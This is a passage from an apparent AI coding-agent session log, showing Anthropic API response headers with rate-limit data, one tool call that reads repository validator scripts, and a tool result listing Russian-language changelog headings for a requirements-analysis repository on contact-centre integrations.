\"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:29.377Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:29.379Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:29.382Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:29.390Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:29.395Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:29.397Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:29.404Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.407Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:29.409Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:29.413Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:29.423Z] [STDOUT]     \"cf-ray\": \"a4295fce0d26dbb5-FRA\",\n[2026-09-29T07:46:29.427Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:29.432Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:29.446Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:29.452Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:29.457Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:29 GMT\",\n[2026-09-29T07:46:29.470Z] [STDOUT]     \"request-id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:29.475Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:29.478Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:29.492Z] [STDOUT]     traceresponse: \"00-0499271f37904cf7a93082a32c93e5df-3574194bcab9b7eb-01\",\n[2026-09-29T07:46:29.506Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:29.511Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:29.519Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:29.527Z] [STDOUT]   },\n[2026-09-29T07:46:29.540Z] [STDOUT]   durationMs: 854,\n[2026-09-29T07:46:29.593Z] [STDOUT] }\n[2026-09-29T07:46:29.608Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:29.616Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:29 GMT\",\n[2026-09-29T07:46:29.619Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:29.629Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:29.641Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:29.644Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:29.652Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:29.655Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:29.665Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:29.668Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:29.672Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:29.684Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:29.691Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:29.694Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:29.698Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:29.701Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:29.705Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:29.709Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.712Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:29.715Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:29.720Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:29.723Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:29.726Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.732Z] [STDOUT]   \"request-id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:29.736Z] [STDOUT]   \"traceresponse\": \"00-0499271f37904cf7a93082a32c93e5df-3574194bcab9b7eb-01\",\n[2026-09-29T07:46:29.739Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:29.742Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:29.753Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:29.758Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:29.761Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:29.765Z] [STDOUT]   \"cf-ray\": \"a4295fce0d26dbb5-FRA\",\n[2026-09-29T07:46:29.775Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:29.783Z] [STDOUT] [log_22dfd6] response parsed {\n[2026-09-29T07:46:29.786Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:29.789Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:29.795Z] [STDOUT]   body: X {\n[2026-09-29T07:46:29.801Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:29.808Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:29.822Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:29.826Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:29.829Z] [STDOUT]     },\n[2026-09-29T07:46:29.833Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:29.840Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:29.845Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:29.849Z] [STDOUT]   },\n[2026-09-29T07:46:29.863Z] [STDOUT]   durationMs: 854,\n[2026-09-29T07:46:29.869Z] [STDOUT] }\n[2026-09-29T07:46:29.888Z] [INFO] {\n[2026-09-29T07:46:29.888Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"message\": {\n[2026-09-29T07:46:29.888Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"id\": \"msg_011CfXMqQuLPJBy6PEY2Jueb\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"content\": [\n[2026-09-29T07:46:29.888Z] [INFO]       {\n[2026-09-29T07:46:29.888Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:29.888Z] [INFO]         \"id\": \"toolu_016qgi6X3y1orwN361mQuE9c\",\n[2026-09-29T07:46:29.888Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:29.888Z] [INFO]         \"input\": {\n[2026-09-29T07:46:29.888Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 40,100p tools/validate-repository-structure.sh; grep -n \\\"^type\\\\|  - \\\\|allowed.*type\\\" tools/validate-frontmatter.sh | head -40\",\n[2026-09-29T07:46:29.888Z] [INFO]           \"description\": \"Read structure validator and frontmatter types\"\n[2026-09-29T07:46:29.888Z] [INFO]         },\n[2026-09-29T07:46:29.888Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:29.888Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:29.888Z] [INFO]         }\n[2026-09-29T07:46:29.888Z] [INFO]       }\n[2026-09-29T07:46:29.888Z] [INFO]     ],\n[2026-09-29T07:46:29.888Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:29.888Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:29.888Z] [INFO]       \"cache_creation_input_tokens\": 2021,\n[2026-09-29T07:46:29.888Z] [INFO]       \"cache_read_input_tokens\": 31569,\n[2026-09-29T07:46:29.888Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:29.888Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:29.888Z] [INFO]         \"ephemeral_1h_input_tokens\": 2021\n[2026-09-29T07:46:29.888Z] [INFO]       },\n[2026-09-29T07:46:29.888Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:46:29.888Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:29.888Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:29.888Z] [INFO]     },\n[2026-09-29T07:46:29.888Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:29.888Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:29.888Z] [INFO]   },\n[2026-09-29T07:46:29.888Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:29.888Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"uuid\": \"a2401b6e-f18a-4aff-ac38-f1e5001da9a8\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:29.795Z\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"request_id\": \"req_011CfXMqQUHcS4SBcXYJQx14\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:29.888Z] [INFO]     \"toolu_016qgi6X3y1orwN361mQuE9c\": {\n[2026-09-29T07:46:29.888Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 40,100p tools/validate-repository-structure.sh; grep -n \\\"^type\\\\|  - \\\\|allowed.*type\\\" tools/validate-frontmatter.sh | head -40\",\n[2026-09-29T07:46:29.888Z] [INFO]       \"description\": \"Read structure validator and frontmatter types\"\n[2026-09-29T07:46:29.888Z] [INFO]     }\n[2026-09-29T07:46:29.888Z] [INFO]   }\n[2026-09-29T07:46:29.888Z] [INFO] }\n[2026-09-29T07:46:30.255Z] [INFO] {\n[2026-09-29T07:46:30.255Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"message\": {\n[2026-09-29T07:46:30.255Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:30.255Z] [INFO]     \"content\": [\n[2026-09-29T07:46:30.255Z] [INFO]       {\n[2026-09-29T07:46:30.255Z] [INFO]         \"tool_use_id\": \"toolu_01NTGCMNb82N7odTSiRkBsMJ\",\n[2026-09-29T07:46:30.255Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:30.255Z] [INFO]         \"content\": \"14:## Unreleased\\n16:### Added \u2014 Issue #365: L0-\u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 BCREQ-1114v2 (RUN-0069)\\n26:### Added \u2014 Issue #363: L0-\u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 BCREQ-1114 (RUN-0068)\\n36:### Changed \u2014 Issue #361: \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\n46:### Added \u2014 Issue #357: \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0425\u0430\u0431\u0430\\n62:### Changed \u2014 Issue #357\\n67:### Added \u2014 Issue #355: \u041f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0424\u0422 BCREQ-1074 (RUN-0067)\\n77:### Changed \u2014 Issue #355\\n82:### Fixed \u2014 Issue #355\\n88:### Added \u2014 Issue #353: A/B-RCA \u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u0438 RUN-0065 \u0438 RUN-0066\\n99:### Added \u2014 Issue #351: RUN-0066, \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0422\u0417 task-1099 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0439 LLM\\n115:### Added \u2014 Issue #347: RUN-0065, L0-\u0430\u0443\u0434\u0438\u0442 \u0422\u0417 \u00ab\u0422\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f\u00bb\\n127:### Added \u2014 Issue #345: RUN-0064, RCA \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0432\u0438\u0434\u0430 \u043e\u0442\u0447\u0435\u0442\u0430 BCREQ-1074\\n137:### Added \u2014 Issue #343: RUN-0063, \u0424\u0422 \u043f\u043e BCREQ-1074\\n148:### Added \u2014 Issue #339: RUN-0062, \u043e\u0446\u0435\u043d\u043a\u0430 \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u2116 5\u20137\\n160:### Added \u2014 Issue #335: \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0432\u0435\u0431-\u043e\u0442\u0447\u0451\u0442 RUN-0060\\n186:### Changed \u2014 Issue #335\\n194:### Added \u2014 Issue #333: \u043f\u0440\u043e\u0433\u043e\u043d RUN-0060, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 gap-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0440\u043e\u0432\u043d\u044f L4\\n218:### Added \u2014 Issue #331: \u043f\u0440\u043e\u0433\u043e\u043d RUN-0059, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0441\u043f\u0430\u0439\u043a \u0438 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0434\u0430\u043d\u043d\u044b\u0445 HH.ru \u2194 \u041a\u0426 Mango\\n251:### Added \u2014 Issue #329: \u043f\u0440\u043e\u0433\u043e\u043d RUN-0058, \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru\\n279:### Added \u2014 Issue #323: \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447 (Issue Forms) \u0434\u043b\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 `runs`\\n308:### Fixed \u2014 Issue #273: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/README.md`\\n328:### Added \u2014 Issue #319: RUN-0057, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 (\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2116 1\u20134)\\n369:### Added \u2014 Issue #320: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0411\u0417 + \u0430\u043d\u0430\u043b\u0438\u0437 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `kb/`\\n414:### Added \u2014 Issue #317: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0411\u0417 + \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `kb/`\\n435:### Fixed \u2014 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f PDF \u0431\u0435\u0437 \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f\\n444:### Added \u2014 Issue #315 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0056: gap-\u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru \u0441 \u041a\u0426 Mango Office\\n472:### Added \u2014 Issue #313 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0055: \u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 Utair.Chat \u2194 Mango Office\\n511:### Added \u2014 Issue #310 \u0447\u0435\u0442\u044b\u0440\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 \u0411\u0417 \u0438 \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439\\n542:### Removed \u2014 Issue #310 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `contact-center-manual-sample`\\n561:### Added \u2014 Issue #309 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f 25 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 \u0447\u0430\u0442\u043e\u0432 \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 (RUN-0030\u2014RUN-0054)\\n571:### Changed \u2014 Issue #291 \u0448\u0430\u0433 2: \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u043e\u043c\u0430\u0445\\n607:### Changed \u2014 Issue #291 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f: \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u0435\u043d\u044c \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0430\u0440\u0445\u0438\u0432\\n634:### Added \u2014 Issue #291 \u0437\u0430\u043c\u043e\u043a \u043d\u0430 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n651:### Added \u2014 Issue #281 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 58093 (RUN-0016) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n681:### Added \u2014 Issue #272 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0019 (\u043a\u0435\u0439\u0441 1064)\\n719:### Added \u2014 Issue #279 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 994 (RUN-0029) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n759:### Changed \u2014 Issue #299 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n799:### Added \u2014 Issue #282 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 57204 (RUN-0015): \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 IVR-\u0441\u0445\u0435\u043c\u044b \u0432 \u041f\u0440\u0430\u0432\u0438\u043b\u0435 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 AMO CRM\\n822:### Added \u2014 Issue #284 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 978 (RUN-0027) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n854:### Added \u2014 Issue #280 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 997 (RUN-0025) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n878:### Added \u2014 Issue #283 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1007 (RUN-0026): \u0424\u0422 \u043d\u0430 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0421\u0434\u0435\u043b\u043a\u0438 \u0432 \u0410\u041c\u041e CRM \u043f\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c\u0443 \u0434\u043e\u0437\u0432\u043e\u043d\u0443\\n914:### Added \u2014 Issue #277 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1020 (RUN-0024): \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u0443 \u043f\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 OkDesk \u2194 MANGO OFFICE\\n941:### Added \u2014 Issue #278 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0023: \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0411\u0410 \u0441 LLM \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 59295\\n972:### Added \u2014 Issue #273 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0020: \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0411\u0410 \u0441 LLM \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1065\\n995:### Added \u2014 Issue #274 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 975 (RUN-0021) \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\\n1032:### Added \u2014 Issue #275 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1040 (RUN-0028) \u043a\u0430\u043a Proof of Execution\\n1063:### Added \u2014 Issue #276 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 765 (RUN-0022) \u043a\u0430\u043a Proof of Execution\\n1093:### Added \u2014 Issue #271 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1079 (RUN-0018) \u043a\u0430\u043a Proof of Execution\\n1122:### Changed \u2014 Issue #271 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 runs \u043f\u043e\u043b\u0435\u043c `metrics`\\n1142:### Changed \u2014 Issue #293 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432: \u044f\u0432\u043d\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 (\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 vs \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438)\\n1189:### Added \u2014 Issue #269 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0014 (\u0437\u0430\u0434\u0430\u0447\u0430 1075, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0434\u0435\u043b\u043a\u0438 \u0432 amoCRM \u043f\u0440\u0438 \u0437\u0432\u043e\u043d\u043a\u0435)\\n1215:### Added \u2014 Issue #268 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (BCREQ-1059, \u043b\u0438\u043c\u0438\u0442\u044b \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439)\\n1244:### Changed \u2014 Issue #267 \u0430\u043a\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f onboarding-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e v1.5 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\\n1262:### Added \u2014 Issue #267 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0425\u0430\u0431\u0430\\n1281:### Fixed \u2014 Issue #267 frontmatter \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\\n1295:### Added \u2014 Issue #270 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0017 (\u0437\u0430\u0434\u0430\u0447\u0430 1076)\\n1340:### Changed \u2014 Issue #265 \u0440\u0435-\u0441\u0438\u043d\u043a \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0425\u0430\u0431\u0430 